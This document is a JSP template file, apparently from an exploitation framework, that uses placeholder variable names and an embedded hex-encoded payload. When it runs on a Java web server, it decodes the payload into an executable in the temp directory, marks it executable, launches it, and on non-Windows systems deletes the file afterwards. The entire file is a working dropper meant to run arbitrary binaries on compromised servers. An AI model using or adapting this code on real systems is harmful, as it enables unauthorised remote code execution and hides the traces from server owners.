<%%@ page import="java.io.*" %%>
<%%
  String %{var_payload} = "%{payload}";
  String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";

  if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
    %{var_exepath} = %{var_exepath}.concat(".exe");
  }

  int %{var_payloadlength} = %{var_payload}.length();
  byte[] %{var_bytes} = new byte[%{var_payloadlength}/2];
  for (int %{var_counter} = 0; %{var_counter} < %{var_payloadlength}; %{var_counter} += 2) {
    %{var_bytes}[%{var_counter} / 2] = (byte) ((Character.digit(%{var_payload}.charAt(%{var_counter}), 16) << 4)
                                              + Character.digit(%{var_payload}.charAt(%{var_counter}+1), 16));
  }

  FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
  %{var_outputstream}.write(%{var_bytes});
  %{var_outputstream}.flush();
  %{var_outputstream}.close();

  if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
    String[] %{var_fperm} = new String[3];
    %{var_fperm}[0] = "chmod";
    %{var_fperm}[1] = "+x";
    %{var_fperm}[2] = %{var_exepath};
    Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
    if (%{var_proc}.waitFor() == 0) {
      %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
    }

    File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
  } else {
    String[] %{var_exepatharray} = new String[1];
    %{var_exepatharray}[0] = %{var_exepath};
    Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
  }
%%>